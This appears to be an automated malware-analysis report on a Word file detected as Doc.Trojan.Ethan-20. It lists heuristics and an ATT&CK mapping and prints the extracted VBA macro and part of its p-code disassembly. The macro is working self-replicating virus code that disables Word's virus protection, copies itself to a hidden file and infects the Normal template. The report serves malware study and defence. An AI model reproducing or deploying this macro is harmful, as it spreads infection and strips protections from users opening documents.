MALICIOUS
80
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The critical ClamAV heuristic and the presence of VBA macros indicate malicious intent. The VBA script attempts to copy its own code to 'c:\ethan.___' and manipulate document templates, suggesting an effort to maintain persistence or prepare for a second-stage payload. The document body content appears to be unrelated boilerplate text.
Heuristics 2
-
ClamAV: Doc.Trojan.Ethan-20 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Ethan-20
-
VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6619 bytes |
SHA-256: 9fc50b247f4b0404bfd09489cda3b61ab9556e4396df54d5ce9481badd55c7d0 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
s = ActiveDocument.Saved
Application.EnableCancelKey = Not -1
With Options
.ConfirmConversions = 0
.VirusProtection = 0
.SaveNormalPrompt = 0
End With
Randomize
If Dir("c:\ethan.___", 6) = "" Then
Open "c:\ethan.___" For Output As #1
For i = 1 To MacroContainer.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
a = MacroContainer.VBProject.VBComponents.Item(1).CodeModule.Lines(i, 1)
Print #1, a
Next i
Close #1
SetAttr "c:\ethan.___", 6
End If
If Dir("c:\class.sys") <> "" Then Kill "c:\class.sys"
If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = NormalTemplate.VBProject.VBComponents.Item(1)
ElseIf ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 1) <> "Private Sub Document_Close()" Then
Set t = ActiveDocument.VBProject.VBComponents.Item(1)
Else
t = ""
End If
If t <> "" Then Open "c:\ethan.___" For Input As #1
If LOF(1) = 0 Then GoTo q
i = 1
Do While Not EOF(1)
Line Input #1, a
t.CodeModule.InsertLines i, a
i = i + 1
Loop
q:
Close #1
If Rnd < 0.3 Then
With Dialogs(wdDialogFileSummaryInfo)
.Title = "Ethan Frome"
.Author = "EW/LN/CB"
.Keywords = "Ethan"
.Execute
End With
If Left(ActiveDocument.Name, 8) <> "Document" Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
End If
If ActiveDocument.Saved <> s Then ActiveDocument.Saved = s
End Sub
' Processing file: /opt/analyzer/scan_staging/9c62976ad2ca47288a31b9876867dc50.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 3534 bytes
' Line #0:
' FuncDefn (Private Sub Document_Close())
' Line #1:
' Line #2:
' OnError (Resume Next)
' Line #3:
' Line #4:
' Ld ActiveDocument
' MemLd Saved
' St s
' Line #5:
' LitDI2 0x0001
' UMi
' Not
' Ld Application
' MemSt EnableCancelKey
' Line #6:
' StartWithExpr
' Ld Options
' With
' Line #7:
' LitDI2 0x0000
' MemStWith ConfirmConversions
' Line #8:
' LitDI2 0x0000
' MemStWith VirusProtection
' Line #9:
' LitDI2 0x0000
' MemStWith SaveNormalPrompt
' Line #10:
' EndWith
' Line #11:
' Line #12:
' ArgsCall Read 0x0000
' Line #13:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0006
' ArgsLd Dir 0x0002
' LitStr 0x0000 ""
' Eq
' IfBlock
' Line #14:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0001
' Sharp
' LitDefault
' Open (For Output)
' Line #15:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' MemLd CountOfLines
' For
' Line #16:
' Ld i
' LitDI2 0x0001
' LitDI2 0x0001
' Ld MacroContainer
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' St a
' Line #17:
' LitDI2 0x0001
' Sharp
' PrintChan
' Ld a
' PrintItemNL
' Line #18:
' StartForVariable
' Ld i
' EndForVariable
' NextVar
' Line #19:
' LitDI2 0x0001
' Sharp
' Close 0x0001
' Line #20:
' LitStr 0x000C "c:\ethan.___"
' LitDI2 0x0006
' ArgsCall SetAttr 0x0002
' Line #21:
' EndIfBlock
' Line #22:
' LitStr 0x000C "c:\class.sys"
' ArgsLd Dir 0x0001
' LitStr 0x0000 ""
' Ne
' If
' BoSImplicit
' LitStr 0x000C "c:\class.sys"
' ArgsCall Kill 0x0001
' EndIf
' Line #23:
' LitDI2 0x0001
' LitDI2 0x0001
' LitDI2 0x0001
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.